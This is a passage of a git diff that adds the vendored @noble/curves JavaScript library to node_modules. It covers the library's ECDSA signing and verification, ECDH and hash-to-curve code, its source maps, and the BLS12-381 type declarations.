CURVE_ORDER } = CURVE; + const compressedLen = Fp.BYTES + 1; // e.g. 33 for 32 + const uncompressedLen = 2 * Fp.BYTES + 1; // e.g. 65 for 32 + function isValidFieldElement(num) { + return _0n < num && num < Fp.ORDER; // 0 is banned since it's not invertible FE + } + function modN(a) { + return mod.mod(a, CURVE_ORDER); + } + function invN(a) { + return mod.invert(a, CURVE_ORDER); + } + const { ProjectivePoint: Point, normPrivateKeyToScalar, weierstrassEquation, isWithinCurveOrder, } = weierstrassPoints({ + ...CURVE, + toBytes(_c, point, isCompressed) { + const a = point.toAffine(); + const x = Fp.toBytes(a.x); + const cat = ut.concatBytes; + if (isCompressed) { + return cat(Uint8Array.from([point.hasEvenY() ? 0x02 : 0x03]), x); + } + else { + return cat(Uint8Array.from([0x04]), x, Fp.toBytes(a.y)); + } + }, + fromBytes(bytes) { + const len = bytes.length; + const head = bytes[0]; + const tail = bytes.subarray(1); + // this.assertValidity() is done inside of fromHex + if (len === compressedLen && (head === 0x02 || head === 0x03)) { + const x = ut.bytesToNumberBE(tail); + if (!isValidFieldElement(x)) + throw new Error('Point is not on curve'); + const y2 = weierstrassEquation(x); // y² = x³ + ax + b + let y = Fp.sqrt(y2); // y = y² ^ (p+1)/4 + const isYOdd = (y & _1n) === _1n; + // ECDSA + const isHeadOdd = (head & 1) === 1; + if (isHeadOdd !== isYOdd) + y = Fp.neg(y); + return { x, y }; + } + else if (len === uncompressedLen && head === 0x04) { + const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES)); + const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES)); + return { x, y }; + } + else { + throw new Error(`Point of length ${len} was invalid. Expected ${compressedLen} compressed bytes or ${uncompressedLen} uncompressed bytes`); + } + }, + }); + const numToNByteStr = (num) => ut.bytesToHex(ut.numberToBytesBE(num, CURVE.nByteLength)); + function isBiggerThanHalfOrder(number) { + const HALF = CURVE_ORDER >> _1n; + return number > HALF; + } + function normalizeS(s) { + return isBiggerThanHalfOrder(s) ? modN(-s) : s; + } + // slice bytes num + const slcNum = (b, from, to) => ut.bytesToNumberBE(b.slice(from, to)); + /** + * ECDSA signature with its (r, s) properties. Supports DER & compact representations. + */ + class Signature { + constructor(r, s, recovery) { + this.r = r; + this.s = s; + this.recovery = recovery; + this.assertValidity(); + } + // pair (bytes of r, bytes of s) + static fromCompact(hex) { + const l = CURVE.nByteLength; + hex = (0, utils_js_1.ensureBytes)('compactSignature', hex, l * 2); + return new Signature(slcNum(hex, 0, l), slcNum(hex, l, 2 * l)); + } + // DER encoded ECDSA signature + // https://bitcoin.stackexchange.com/questions/57644/what-are-the-parts-of-a-bitcoin-transaction-input-script + static fromDER(hex) { + const { r, s } = exports.DER.toSig((0, utils_js_1.ensureBytes)('DER', hex)); + return new Signature(r, s); + } + assertValidity() { + // can use assertGE here + if (!isWithinCurveOrder(this.r)) + throw new Error('r must be 0 < r < CURVE.n'); + if (!isWithinCurveOrder(this.s)) + throw new Error('s must be 0 < s < CURVE.n'); + } + addRecoveryBit(recovery) { + return new Signature(this.r, this.s, recovery); + } + recoverPublicKey(msgHash) { + const { r, s, recovery: rec } = this; + const h = bits2int_modN((0, utils_js_1.ensureBytes)('msgHash', msgHash)); // Truncate hash + if (rec == null || ![0, 1, 2, 3].includes(rec)) + throw new Error('recovery id invalid'); + const radj = rec === 2 || rec === 3 ? r + CURVE.n : r; + if (radj >= Fp.ORDER) + throw new Error('recovery id 2 or 3 invalid'); + const prefix = (rec & 1) === 0 ? '02' : '03'; + const R = Point.fromHex(prefix + numToNByteStr(radj)); + const ir = invN(radj); // r^-1 + const u1 = modN(-h * ir); // -hr^-1 + const u2 = modN(s * ir); // sr^-1 + const Q = Point.BASE.multiplyAndAddUnsafe(R, u1, u2); // (sr^-1)R-(hr^-1)G = -(hr^-1)G + (sr^-1) + if (!Q) + throw new Error('point at infinify'); // unsafe is fine: no priv data leaked + Q.assertValidity(); + return Q; + } + // Signatures should be low-s, to prevent malleability. + hasHighS() { + return isBiggerThanHalfOrder(this.s); + } + normalizeS() { + return this.hasHighS() ? new Signature(this.r, modN(-this.s), this.recovery) : this; + } + // DER-encoded + toDERRawBytes() { + return ut.hexToBytes(this.toDERHex()); + } + toDERHex() { + return exports.DER.hexFromSig({ r: this.r, s: this.s }); + } + // padded bytes of r, then padded bytes of s + toCompactRawBytes() { + return ut.hexToBytes(this.toCompactHex()); + } + toCompactHex() { + return numToNByteStr(this.r) + numToNByteStr(this.s); + } + } + const utils = { + isValidPrivateKey(privateKey) { + try { + normPrivateKeyToScalar(privateKey); + return true; + } + catch (error) { + return false; + } + }, + normPrivateKeyToScalar: normPrivateKeyToScalar, + /** + * Produces cryptographically secure private key from random of size + * (groupLen + ceil(groupLen / 2)) with modulo bias being negligible. + */ + randomPrivateKey: () => { + const length = mod.getMinHashLength(CURVE.n); + return mod.mapHashToField(CURVE.randomBytes(length), CURVE.n); + }, + /** + * Creates precompute table for an arbitrary EC point. Makes point "cached". + * Allows to massively speed-up `point.multiply(scalar)`. + * @returns cached point + * @example + * const fast = utils.precompute(8, ProjectivePoint.fromHex(someonesPubKey)); + * fast.multiply(privKey); // much faster ECDH now + */ + precompute(windowSize = 8, point = Point.BASE) { + point._setWindowSize(windowSize); + point.multiply(BigInt(3)); // 3 is arbitrary, just need any number here + return point; + }, + }; + /** + * Computes public key for a private key. Checks for validity of the private key. + * @param privateKey private key + * @param isCompressed whether to return compact (default), or full key + * @returns Public key, full when isCompressed=false; short when isCompressed=true + */ + function getPublicKey(privateKey, isCompressed = true) { + return Point.fromPrivateKey(privateKey).toRawBytes(isCompressed); + } + /** + * Quick and dirty check for item being public key. Does not validate hex, or being on-curve. + */ + function isProbPub(item) { + const arr = item instanceof Uint8Array; + const str = typeof item === 'string'; + const len = (arr || str) && item.length; + if (arr) + return len === compressedLen || len === uncompressedLen; + if (str) + return len === 2 * compressedLen || len === 2 * uncompressedLen; + if (item instanceof Point) + return true; + return false; + } + /** + * ECDH (Elliptic Curve Diffie Hellman). + * Computes shared public key from private key and public key. + * Checks: 1) private key validity 2) shared key is on-curve. + * Does NOT hash the result. + * @param privateA private key + * @param publicB different public key + * @param isCompressed whether to return compact (default), or full key + * @returns shared public key + */ + function getSharedSecret(privateA, publicB, isCompressed = true) { + if (isProbPub(privateA)) + throw new Error('first arg must be private key'); + if (!isProbPub(publicB)) + throw new Error('second arg must be public key'); + const b = Point.fromHex(publicB); // check for being on-curve + return b.multiply(normPrivateKeyToScalar(privateA)).toRawBytes(isCompressed); + } + // RFC6979: ensure ECDSA msg is X bytes and < N. RFC suggests optional truncating via bits2octets. + // FIPS 186-4 4.6 suggests the leftmost min(nBitLen, outLen) bits, which matches bits2int. + // bits2int can produce res>N, we can do mod(res, N) since the bitLen is the same. + // int2octets can't be used; pads small msgs with 0: unacceptatble for trunc as per RFC vectors + const bits2int = CURVE.bits2int || + function (bytes) { + // For curves with nBitLength % 8 !== 0: bits2octets(bits2octets(m)) !== bits2octets(m) + // for some cases, since bytes.length * 8 is not actual bitLength. + const num = ut.bytesToNumberBE(bytes); // check for == u8 done here + const delta = bytes.length * 8 - CURVE.nBitLength; // truncate to nBitLength leftmost bits + return delta > 0 ? num >> BigInt(delta) : num; + }; + const bits2int_modN = CURVE.bits2int_modN || + function (bytes) { + return modN(bits2int(bytes)); // can't use bytesToNumberBE here + }; + // NOTE: pads output with zero as per spec + const ORDER_MASK = ut.bitMask(CURVE.nBitLength); + /** + * Converts to bytes. Checks if num in `[0..ORDER_MASK-1]` e.g.: `[0..2^256-1]`. + */ + function int2octets(num) { + if (typeof num !== 'bigint') + throw new Error('bigint expected'); + if (!(_0n <= num && num < ORDER_MASK)) + throw new Error(`bigint expected < 2^${CURVE.nBitLength}`); + // works with order, can have different size than numToField! + return ut.numberToBytesBE(num, CURVE.nByteLength); + } + // Steps A, D of RFC6979 3.2 + // Creates RFC6979 seed; converts msg/privKey to numbers. + // Used only in sign, not in verify. + // NOTE: we cannot assume here that msgHash has same amount of bytes as curve order, this will be wrong at least for P521. + // Also it can be bigger for P224 + SHA256 + function prepSig(msgHash, privateKey, opts = defaultSigOpts) { + if (['recovered', 'canonical'].some((k) => k in opts)) + throw new Error('sign() legacy options not supported'); + const { hash, randomBytes } = CURVE; + let { lowS, prehash, extraEntropy: ent } = opts; // generates low-s sigs by default + if (lowS == null) + lowS = true; // RFC6979 3.2: we skip step A, because we already provide hash + msgHash = (0, utils_js_1.ensureBytes)('msgHash', msgHash); + if (prehash) + msgHash = (0, utils_js_1.ensureBytes)('prehashed msgHash', hash(msgHash)); + // We can't later call bits2octets, since nested bits2int is broken for curves + // with nBitLength % 8 !== 0. Because of that, we unwrap it here as int2octets call. + // const bits2octets = (bits) => int2octets(bits2int_modN(bits)) + const h1int = bits2int_modN(msgHash); + const d = normPrivateKeyToScalar(privateKey); // validate private key, convert to bigint + const seedArgs = [int2octets(d), int2octets(h1int)]; + // extraEntropy. RFC6979 3.6: additional k' (optional). + if (ent != null) { + // K = HMAC_K(V || 0x00 || int2octets(x) || bits2octets(h1) || k') + const e = ent === true ? randomBytes(Fp.BYTES) : ent; // generate random bytes OR pass as-is + seedArgs.push((0, utils_js_1.ensureBytes)('extraEntropy', e)); // check for being bytes + } + const seed = ut.concatBytes(...seedArgs); // Step D of RFC6979 3.2 + const m = h1int; // NOTE: no need to call bits2int second time here, it is inside truncateHash! + // Converts signature params into point w r/s, checks result for validity. + function k2sig(kBytes) { + // RFC 6979 Section 3.2, step 3: k = bits2int(T) + const k = bits2int(kBytes); // Cannot use fields methods, since it is group element + if (!isWithinCurveOrder(k)) + return; // Important: all mod() calls here must be done over N + const ik = invN(k); // k^-1 mod n + const q = Point.BASE.multiply(k).toAffine(); // q = Gk + const r = modN(q.x); // r = q.x mod n + if (r === _0n) + return; + // Can use scalar blinding b^-1(bm + bdr) where b ∈ [1,q−1] according to + // https://tches.iacr.org/index.php/TCHES/article/view/7337/6509. We've decided against it: + // a) dependency on CSPRNG b) 15% slowdown c) doesn't really help since bigints are not CT + const s = modN(ik * modN(m + r * d)); // Not using blinding here + if (s === _0n) + return; + let recovery = (q.x === r ? 0 : 2) | Number(q.y & _1n); // recovery bit (2 or 3, when q.x > n) + let normS = s; + if (lowS && isBiggerThanHalfOrder(s)) { + normS = normalizeS(s); // if lowS was passed, ensure s is always + recovery ^= 1; // // in the bottom half of N + } + return new Signature(r, normS, recovery); // use normS, not s + } + return { seed, k2sig }; + } + const defaultSigOpts = { lowS: CURVE.lowS, prehash: false }; + const defaultVerOpts = { lowS: CURVE.lowS, prehash: false }; + /** + * Signs message hash with a private key. + * ``` + * sign(m, d, k) where + * (x, y) = G × k + * r = x mod n + * s = (m + dr)/k mod n + * ``` + * @param msgHash NOT message. msg needs to be hashed to `msgHash`, or use `prehash`. + * @param privKey private key + * @param opts lowS for non-malleable sigs. extraEntropy for mixing randomness into k. prehash will hash first arg. + * @returns signature with recovery param + */ + function sign(msgHash, privKey, opts = defaultSigOpts) { + const { seed, k2sig } = prepSig(msgHash, privKey, opts); // Steps A, D of RFC6979 3.2. + const C = CURVE; + const drbg = ut.createHmacDrbg(C.hash.outputLen, C.nByteLength, C.hmac); + return drbg(seed, k2sig); // Steps B, C, D, E, F, G + } + // Enable precomputes. Slows down first publicKey computation by 20ms. + Point.BASE._setWindowSize(8); + // utils.precompute(8, ProjectivePoint.BASE) + /** + * Verifies a signature against message hash and public key. + * Rejects lowS signatures by default: to override, + * specify option `{lowS: false}`. Implements section 4.1.4 from https://www.secg.org/sec1-v2.pdf: + * + * ``` + * verify(r, s, h, P) where + * U1 = hs^-1 mod n + * U2 = rs^-1 mod n + * R = U1⋅G - U2⋅P + * mod(R.x, n) == r + * ``` + */ + function verify(signature, msgHash, publicKey, opts = defaultVerOpts) { + const sg = signature; + msgHash = (0, utils_js_1.ensureBytes)('msgHash', msgHash); + publicKey = (0, utils_js_1.ensureBytes)('publicKey', publicKey); + if ('strict' in opts) + throw new Error('options.strict was renamed to lowS'); + const { lowS, prehash } = opts; + let _sig = undefined; + let P; + try { + if (typeof sg === 'string' || sg instanceof Uint8Array) { + // Signature can be represented in 2 ways: compact (2*nByteLength) & DER (variable-length). + // Since DER can also be 2*nByteLength bytes, we check for it first. + try { + _sig = Signature.fromDER(sg); + } + catch (derError) { + if (!(derError instanceof exports.DER.Err)) + throw derError; + _sig = Signature.fromCompact(sg); + } + } + else if (typeof sg === 'object' && typeof sg.r === 'bigint' && typeof sg.s === 'bigint') { + const { r, s } = sg; + _sig = new Signature(r, s); + } + else { + throw new Error('PARSE'); + } + P = Point.fromHex(publicKey); + } + catch (error) { + if (error.message === 'PARSE') + throw new Error(`signature must be Signature instance, Uint8Array or hex string`); + return false; + } + if (lowS && _sig.hasHighS()) + return false; + if (prehash) + msgHash = CURVE.hash(msgHash); + const { r, s } = _sig; + const h = bits2int_modN(msgHash); // Cannot use fields methods, since it is group element + const is = invN(s); // s^-1 + const u1 = modN(h * is); // u1 = hs^-1 mod n + const u2 = modN(r * is); // u2 = rs^-1 mod n + const R = Point.BASE.multiplyAndAddUnsafe(P, u1, u2)?.toAffine(); // R = u1⋅G + u2⋅P + if (!R) + return false; + const v = modN(R.x); + return v === r; + } + return { + CURVE, + getPublicKey, + getSharedSecret, + sign, + verify, + ProjectivePoint: Point, + Signature, + utils, + }; +} +exports.weierstrass = weierstrass; +/** + * Implementation of the Shallue and van de Woestijne method for any weierstrass curve. + * TODO: check if there is a way to merge this with uvRatio in Edwards; move to modular. + * b = True and y = sqrt(u / v) if (u / v) is square in F, and + * b = False and y = sqrt(Z * (u / v)) otherwise. + * @param Fp + * @param Z + * @returns + */ +function SWUFpSqrtRatio(Fp, Z) { + // Generic implementation + const q = Fp.ORDER; + let l = _0n; + for (let o = q - _1n; o % _2n === _0n; o /= _2n) + l += _1n; + const c1 = l; // 1. c1, the largest integer such that 2^c1 divides q - 1. + // We need 2n ** c1 and 2n ** (c1-1). We can't use **; but we can use <<. + // 2n ** c1 == 2n << (c1-1) + const _2n_pow_c1_1 = _2n << (c1 - _1n - _1n); + const _2n_pow_c1 = _2n_pow_c1_1 * _2n; + const c2 = (q - _1n) / _2n_pow_c1; // 2. c2 = (q - 1) / (2^c1) # Integer arithmetic + const c3 = (c2 - _1n) / _2n; // 3. c3 = (c2 - 1) / 2 # Integer arithmetic + const c4 = _2n_pow_c1 - _1n; // 4. c4 = 2^c1 - 1 # Integer arithmetic + const c5 = _2n_pow_c1_1; // 5. c5 = 2^(c1 - 1) # Integer arithmetic + const c6 = Fp.pow(Z, c2); // 6. c6 = Z^c2 + const c7 = Fp.pow(Z, (c2 + _1n) / _2n); // 7. c7 = Z^((c2 + 1) / 2) + let sqrtRatio = (u, v) => { + let tv1 = c6; // 1. tv1 = c6 + let tv2 = Fp.pow(v, c4); // 2. tv2 = v^c4 + let tv3 = Fp.sqr(tv2); // 3. tv3 = tv2^2 + tv3 = Fp.mul(tv3, v); // 4. tv3 = tv3 * v + let tv5 = Fp.mul(u, tv3); // 5. tv5 = u * tv3 + tv5 = Fp.pow(tv5, c3); // 6. tv5 = tv5^c3 + tv5 = Fp.mul(tv5, tv2); // 7. tv5 = tv5 * tv2 + tv2 = Fp.mul(tv5, v); // 8. tv2 = tv5 * v + tv3 = Fp.mul(tv5, u); // 9. tv3 = tv5 * u + let tv4 = Fp.mul(tv3, tv2); // 10. tv4 = tv3 * tv2 + tv5 = Fp.pow(tv4, c5); // 11. tv5 = tv4^c5 + let isQR = Fp.eql(tv5, Fp.ONE); // 12. isQR = tv5 == 1 + tv2 = Fp.mul(tv3, c7); // 13. tv2 = tv3 * c7 + tv5 = Fp.mul(tv4, tv1); // 14. tv5 = tv4 * tv1 + tv3 = Fp.cmov(tv2, tv3, isQR); // 15. tv3 = CMOV(tv2, tv3, isQR) + tv4 = Fp.cmov(tv5, tv4, isQR); // 16. tv4 = CMOV(tv5, tv4, isQR) + // 17. for i in (c1, c1 - 1, ..., 2): + for (let i = c1; i > _1n; i--) { + let tv5 = i - _2n; // 18. tv5 = i - 2 + tv5 = _2n << (tv5 - _1n); // 19. tv5 = 2^tv5 + let tvv5 = Fp.pow(tv4, tv5); // 20. tv5 = tv4^tv5 + const e1 = Fp.eql(tvv5, Fp.ONE); // 21. e1 = tv5 == 1 + tv2 = Fp.mul(tv3, tv1); // 22. tv2 = tv3 * tv1 + tv1 = Fp.mul(tv1, tv1); // 23. tv1 = tv1 * tv1 + tvv5 = Fp.mul(tv4, tv1); // 24. tv5 = tv4 * tv1 + tv3 = Fp.cmov(tv2, tv3, e1); // 25. tv3 = CMOV(tv2, tv3, e1) + tv4 = Fp.cmov(tvv5, tv4, e1); // 26. tv4 = CMOV(tv5, tv4, e1) + } + return { isValid: isQR, value: tv3 }; + }; + if (Fp.ORDER % _4n === _3n) { + // sqrt_ratio_3mod4(u, v) + const c1 = (Fp.ORDER - _3n) / _4n; // 1. c1 = (q - 3) / 4 # Integer arithmetic + const c2 = Fp.sqrt(Fp.neg(Z)); // 2. c2 = sqrt(-Z) + sqrtRatio = (u, v) => { + let tv1 = Fp.sqr(v); // 1. tv1 = v^2 + const tv2 = Fp.mul(u, v); // 2. tv2 = u * v + tv1 = Fp.mul(tv1, tv2); // 3. tv1 = tv1 * tv2 + let y1 = Fp.pow(tv1, c1); // 4. y1 = tv1^c1 + y1 = Fp.mul(y1, tv2); // 5. y1 = y1 * tv2 + const y2 = Fp.mul(y1, c2); // 6. y2 = y1 * c2 + const tv3 = Fp.mul(Fp.sqr(y1), v); // 7. tv3 = y1^2; 8. tv3 = tv3 * v + const isQR = Fp.eql(tv3, u); // 9. isQR = tv3 == u + let y = Fp.cmov(y2, y1, isQR); // 10. y = CMOV(y2, y1, isQR) + return { isValid: isQR, value: y }; // 11. return (isQR, y) isQR ? y : y*c2 + }; + } + // No curves uses that + // if (Fp.ORDER % _8n === _5n) // sqrt_ratio_5mod8 + return sqrtRatio; +} +exports.SWUFpSqrtRatio = SWUFpSqrtRatio; +/** + * Simplified Shallue-van de Woestijne-Ulas Method + * https://www.rfc-editor.org/rfc/rfc9380#section-6.6.2 + */ +function mapToCurveSimpleSWU(Fp, opts) { + mod.validateField(Fp); + if (!Fp.isValid(opts.A) || !Fp.isValid(opts.B) || !Fp.isValid(opts.Z)) + throw new Error('mapToCurveSimpleSWU: invalid opts'); + const sqrtRatio = SWUFpSqrtRatio(Fp, opts.Z); + if (!Fp.isOdd) + throw new Error('Fp.isOdd is not implemented!'); + // Input: u, an element of F. + // Output: (x, y), a point on E. + return (u) => { + // prettier-ignore + let tv1, tv2, tv3, tv4, tv5, tv6, x, y; + tv1 = Fp.sqr(u); // 1. tv1 = u^2 + tv1 = Fp.mul(tv1, opts.Z); // 2. tv1 = Z * tv1 + tv2 = Fp.sqr(tv1); // 3. tv2 = tv1^2 + tv2 = Fp.add(tv2, tv1); // 4. tv2 = tv2 + tv1 + tv3 = Fp.add(tv2, Fp.ONE); // 5. tv3 = tv2 + 1 + tv3 = Fp.mul(tv3, opts.B); // 6. tv3 = B * tv3 + tv4 = Fp.cmov(opts.Z, Fp.neg(tv2), !Fp.eql(tv2, Fp.ZERO)); // 7. tv4 = CMOV(Z, -tv2, tv2 != 0) + tv4 = Fp.mul(tv4, opts.A); // 8. tv4 = A * tv4 + tv2 = Fp.sqr(tv3); // 9. tv2 = tv3^2 + tv6 = Fp.sqr(tv4); // 10. tv6 = tv4^2 + tv5 = Fp.mul(tv6, opts.A); // 11. tv5 = A * tv6 + tv2 = Fp.add(tv2, tv5); // 12. tv2 = tv2 + tv5 + tv2 = Fp.mul(tv2, tv3); // 13. tv2 = tv2 * tv3 + tv6 = Fp.mul(tv6, tv4); // 14. tv6 = tv6 * tv4 + tv5 = Fp.mul(tv6, opts.B); // 15. tv5 = B * tv6 + tv2 = Fp.add(tv2, tv5); // 16. tv2 = tv2 + tv5 + x = Fp.mul(tv1, tv3); // 17. x = tv1 * tv3 + const { isValid, value } = sqrtRatio(tv2, tv6); // 18. (is_gx1_square, y1) = sqrt_ratio(tv2, tv6) + y = Fp.mul(tv1, u); // 19. y = tv1 * u -> Z * u^3 * y1 + y = Fp.mul(y, value); // 20. y = y * y1 + x = Fp.cmov(x, tv3, isValid); // 21. x = CMOV(x, tv3, is_gx1_square) + y = Fp.cmov(y, value, isValid); // 22. y = CMOV(y, y1, is_gx1_square) + const e1 = Fp.isOdd(u) === Fp.isOdd(y); // 23. e1 = sgn0(u) == sgn0(y) + y = Fp.cmov(Fp.neg(y), y, e1); // 24. y = CMOV(-y, y, e1) + x = Fp.div(x, tv4); // 25. x = x / tv4 + return { x, y }; + }; +} +exports.mapToCurveSimpleSWU = mapToCurveSimpleSWU; +//# sourceMappingURL=weierstrass.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/weierstrass.js.map b/node_modules/@noble/curves/abstract/weierstrass.js.map new file mode 100644 index 000000000000..696074ddbf63 --- /dev/null +++ b/node_modules/@noble/curves/abstract/weierstrass.js.map @@ -0,0 +1 @@ +{"version":3,"file":"weierstrass.js","sourceRoot":"","sources":["../src/abstract/weierstrass.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,4DAA4D;AAC5D,oCAAoC;AACpC,iCAAiC;AACjC,yCAA8D;AAC9D,yCAAmG;AAqFnG,SAAS,iBAAiB,CAAI,KAAyB;IACrD,MAAM,IAAI,GAAG,IAAA,wBAAa,EAAC,KAAK,CAAC,CAAC;IAClC,EAAE,CAAC,cAAc,CACf,IAAI,EACJ;QACE,CAAC,EAAE,OAAO;QACV,CAAC,EAAE,OAAO;KACX,EACD;QACE,wBAAwB,EAAE,OAAO;QACjC,cAAc,EAAE,SAAS;QACzB,aAAa,EAAE,UAAU;QACzB,aAAa,EAAE,UAAU;QACzB,kBAAkB,EAAE,SAAS;QAC7B,SAAS,EAAE,UAAU;QACrB,OAAO,EAAE,UAAU;KACpB,CACF,CAAC;IACF,MAAM,EAAE,IAAI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AC,GAAG,EAAE,CAAC,GAAG,CAAC,GAAG,EAAE,GAAG,CAAC,CAAC,CAAC,sBAAsB;QAC5C,MAAM,EAAE,OAAO,EAAE,KAAK,EAAE,GAAG,SAAS,CAAC,GAAG,EAAE,GAAG,CAAC,CAAC,CAAC,iDAAiD;QACjG,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,GAAG,EAAE,CAAC,CAAC,CAAC,CAAC,qCAAqC;QACzD,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,CAAC,EAAE,KAAK,CAAC,CAAC,CAAC,mBAAmB;QACzC,CAAC,GAAG,EAAE,CAAC,IAAI,CAAC,CAAC,EAAE,GAAG,EAAE,OAAO,CAAC,CAAC,CAAC,wCAAwC;QACtE,CAAC,GAAG,EAAE,CAAC,IAAI,CAAC,CAAC,EAAE,KAAK,EAAE,OAAO,CAAC,CAAC,CAAC,uCAAuC;QACvE,MAAM,EAAE,GAAG,EAAE,CAAC,KAAM,CAAC,CAAC,CAAC,KAAK,EAAE,CAAC,KAAM,CAAC,CAAC,CAAC,CAAC,CAAC,+BAA+B;QACzE,CAAC,GAAG,EAAE,CAAC,IAAI,CAAC,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,4BAA4B;QAC3D,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,CAAC,EAAE,GAAG,CAAC,CAAC,CAAC,oBAAoB;QACxC,OAAO,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC;IAClB,CAAC,CAAC;AACJ,CAAC;AA7CD,kDA6CC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/bls12-381.d.ts b/node_modules/@noble/curves/bls12-381.d.ts new file mode 100644 index 000000000000..0e711140e529 --- /dev/null +++ b/node_modules/@noble/curves/bls12-381.d.ts @@ -0,0 +1,68 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { CurveFn } from './abstract/bls.js'; +import * as mod from './abstract/modular.js'; +declare const Fp: Readonly & Required, "isOdd">>>; +type Fp = bigint; +type BigintTuple = [bigint, bigint]; +type Fp2 = { + c0: bigint; + c1: bigint; +}; +type Fp2Utils = { + fromBigTuple: (tuple: BigintTuple | bigint[]) => Fp2; + reim: (num: Fp2) => { + re: bigint; + im: bigint; + }; + mulByNonresidue: (num: Fp2) => Fp2; + multiplyByB: (num: Fp2) => Fp2; + frobeniusMap(num: Fp2, power: number): Fp2; +}; +declare const Fp2: mod.IField & Fp2Utils; +type BigintSix = [bigint, bigint, bigint, bigint, bigint, bigint]; +type Fp6 = { + c0: Fp2; + c1: Fp2; + c2: Fp2; +}; +type Fp6Utils = { + fromBigSix: (tuple: BigintSix) => Fp6; + mulByNonresidue: (num: Fp6) => Fp6; + frobeniusMap(num: Fp6, power: number): Fp6; + multiplyBy1(num: Fp6, b1: Fp2): Fp6; + multiplyBy01(num: Fp6, b0: Fp2, b1: Fp2): Fp6; + multiplyByFp2(lhs: Fp6, rhs: Fp2): Fp6; +}; +declare const Fp6: mod.IField & Fp6Utils; +type Fp12 = { + c0: Fp6; + c1: Fp6; +}; +type BigintTwelve = [ + bigint, + bigint, + bigint, + bigint, + bigint, + bigint, + bigint, + bigint, + bigint, + bigint, + bigint, + bigint +]; +type Fp12Utils = { + fromBigTwelve: (t: BigintTwelve) => Fp12; + frobeniusMap(num: Fp12, power: number): Fp12; + multiplyBy014(num: Fp12, o0: Fp2, o1: Fp2, o4: Fp2): Fp12; + multiplyByFp2(lhs: Fp12, rhs: Fp2): Fp12; + conjugate(num: Fp12): Fp12; + finalExponentiate(num: Fp12): Fp12; + _cyclotomicSquare(num: Fp12): Fp12; + _cyclotomicExp(num: Fp12, n: bigint): Fp12; +}; +declare const Fp12: mod.IField & Fp12Utils; +export declare const bls12_381: CurveFn; +export {}; +//# sourceMappingURL=bls12-381.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/bls12-381.d.ts.map b/node_modules/@noble/curves/bls12-381.d.ts.map new file mode 100644 index 000000000000..01475da1dafc --- /dev/null +++ b/node_modules/@noble/curves/bls12-381.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"bls12-381.d.ts","sourceRoot":"","sources":["src/bls12-381.ts"],"names":[],"mappings":"AAAA,sEAAsE;AA+BtE,OAAO,EAAO,OAAO,EAAE,MAAM,mBAAmB,CAAC;AACjD,OAAO,KAAK,GAAG,MAAM,uBAAuB,CAAC;AAiC7C,QAAA,MAAM,EAAE,4EAAoB,CAAC;AAC7B,KAAK,EAAE,GAAG,MAAM,CAAC;AAMjB,KAAK,WAAW,GAAG,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;AACpC,KAAK,GAAG,GAAG;IAAE,EAAE,EAAE,MAAM,CAAC;IAAC,EAAE,EAAE,MAAM,CAAA;CAAE,CAAC;AA0BtC,KAAK,QAAQ,GAAG;IACd,YAAY,EAAE,CAAC,KAAK,EAAE,WAAW,GAAG,MAAM,EAAE,KAAK,GAAG,CAAC;IACrD,IAAI,EAAE,CAAC,GAAG,EAAE,GAAG,KAAK;QAAE,EAAE,EAAE,MAAM,CAAC;QAAC,EAAE,EAAE,MAAM,CAAA;KAAE,CAAC;IAC/C,eAAe,EAAE,CAAC,GAAG,EAAE,GAAG,KAAK,GAAG,CAAC;IACnC,WAAW,EAAE,CAAC,GAAG,EAAE,GAAG,KAAK,GAAG,CAAC;IAC/B,YAAY,CAAC,GAAG,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,GAAG,GAAG,CAAC;CAC5C,CAAC;AAQF,QAAA,MAAM,GAAG,EAAE,GAAG,CAAC,MAAM,CAAC,GAAG,CAAC,GAAG,QA0G5B,CAAC;AA8CF,KAAK,SAAS,GAAG,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,CAAC,CAAC;AAClE,KAAK,GAAG,GAAG;IAAE,EAAE,EAAE,GAAG,CAAC;IAAC,EAAE,EAAE,GAAG,CAAC;IAAC,EAAE,EA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G,EAAE,GAAG,GAAG,IAAI,CAAC;IACzC,SAAS,CAAC,GAAG,EAAE,IAAI,GAAG,IAAI,CAAC;IAC3B,iBAAiB,CAAC,GAAG,EAAE,IAAI,GAAG,IAAI,CAAC;IACnC,iBAAiB,CAAC,GAAG,EAAE,IAAI,GAAG,IAAI,CAAC;IACnC,cAAc,CAAC,GAAG,EAAE,IAAI,EAAE,CAAC,EAAE,MAAM,GAAG,IAAI,CAAC;CAC5C,CAAC;AAEF,QAAA,MAAM,IAAI,EAAE,GAAG,CAAC,MAAM,CAAC,IAAI,CAAC,GAAG,SA6I9B,CAAC;AAkWF,eAAO,MAAM,SAAS,EAAE,OAAO,CAAC,EAAE,EAAE,GAAG,EAAE,GAAG,EAAE,IAAI,CA2ShD,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/bls12-381.js b/node_modules/@noble/curves/bls12-381.js new file mode 100644 index 000000000000..06766d4438f9 --- /dev/null +++ b/node_modules/@noble/curves/bls12-381.js @@ -0,0 +1,1175 @@ +"use strict"; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.bls12_381 = void 0; +// bls12-381 pairing-friendly Barreto-Lynn-Scott elliptic curve construction allows to: +// - Construct zk-SNARKs at the 128-bit security +// - Use threshold signatures, which allows a user to sign lots of messages with one signature and +// verify them swiftly in a batch, using Boneh-Lynn-Shacham signature scheme. +// +// The library uses G1 for public keys and G2 for signatures. Support for G1 signatures is planned. +// Compatible with Algorand, Chia, Dfinity, Ethereum, FIL, Zcash. Matches specs +// 